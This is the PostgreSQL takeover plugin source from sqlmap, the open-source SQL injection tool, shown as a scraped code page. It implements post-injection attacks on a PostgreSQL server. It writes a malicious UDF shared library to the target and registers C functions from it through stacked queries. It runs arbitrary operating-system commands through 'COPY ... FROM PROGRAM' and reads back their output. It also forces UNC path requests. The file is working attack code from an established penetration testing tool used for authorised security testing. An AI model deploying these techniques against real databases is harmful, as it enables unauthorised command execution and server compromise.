Path: blob/master/plugins/dbms/postgresql/takeover.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67import os89from lib.core.common import Backend10from lib.core.common import checkFile11from lib.core.common import decloakToTemp12from lib.core.common import flattenValue13from lib.core.common import filterNone14from lib.core.common import isListLike15from lib.core.common import isNoneValue16from lib.core.common import isStackingAvailable17from lib.core.common import randomStr18from lib.core.compat import LooseVersion19from lib.core.data import kb20from lib.core.data import logger21from lib.core.data import paths22from lib.core.enums import OS23from lib.core.exception import SqlmapSystemException24from lib.core.exception import SqlmapUnsupportedFeatureException25from lib.request import inject26from plugins.generic.takeover import Takeover as GenericTakeover2728class Takeover(GenericTakeover):29def udfSetRemotePath(self):30# On Windows31if Backend.isOs(OS.WINDOWS):32# The DLL can be in any folder where postgres user has33# read/write/execute access is valid34# NOTE: by not specifing any path, it will save into the35# data directory, on PostgreSQL 8.3 it is36# C:\Program Files\PostgreSQL\8.3\data.37self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)3839# On Linux40else:41# The SO can be in any folder where postgres user has42# read/write/execute access is valid43self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)4445def udfSetLocalPaths(self):46self.udfLocalFile = paths.SQLMAP_UDF_PATH47self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)4849self.getVersionFromBanner()5051banVer = kb.bannerFp["dbmsVersion"]5253if not banVer or not banVer[0].isdigit():54errMsg = "unsupported feature on unknown version of PostgreSQL"55raise SqlmapUnsupportedFeatureException(errMsg)56elif LooseVersion(banVer) >= LooseVersion("10"):57majorVer = banVer.split('.')[0]58elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer:59majorVer = '.'.join(banVer.split('.')[:2])60else:61errMsg = "unsupported feature on versions of PostgreSQL before 8.2"62raise SqlmapUnsupportedFeatureException(errMsg)6364try:65if Backend.isOs(OS.WINDOWS):66_ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_")67checkFile(_)68self.udfLocalFile = decloakToTemp(_)69self.udfSharedLibExt = "dll"70else:71_ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_")72checkFile(_)73self.udfLocalFile = decloakToTemp(_)74self.udfSharedLibExt = "so"75except SqlmapSystemException:76errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch())77raise SqlmapUnsupportedFeatureException(errMsg)7879def udfCreateFromSharedLib(self, udf, inpRet):80if udf in self.udfToCreate:81logger.info("creating UDF '%s' from the binary UDF file" % udf)8283inp = ", ".join(i for i in inpRet["input"])84ret = inpRet["return"]8586# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html87inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp))88inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))8990self.createdUdf.add(udf)91else:92logger.debug("keeping existing UDF '%s' as requested" % udf)9394def uncPathRequest(self):95self.createSupportTbl(self.fileTblName, self.tblField, "text")96inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)97self.cleanup(onlyFileTbl=True)9899def copyExecCmd(self, cmd):100output = None101102if isStackingAvailable():103# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5104self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName105self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)106self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))107inject.goStacked(self._forgedCmd)108109query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)110output = inject.getValue(query, resumeValue=False)111112if isListLike(output):113output = flattenValue(output)114output = filterNone(output)115116if not isNoneValue(output):117output = os.linesep.join(output)118119self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName120inject.goStacked(self._cleanupCmd)121122return output123124def checkCopyExec(self):125if kb.copyExecTest is None:126kb.copyExecTest = self.copyExecCmd("echo 1") == '1'127128return kb.copyExecTest129130131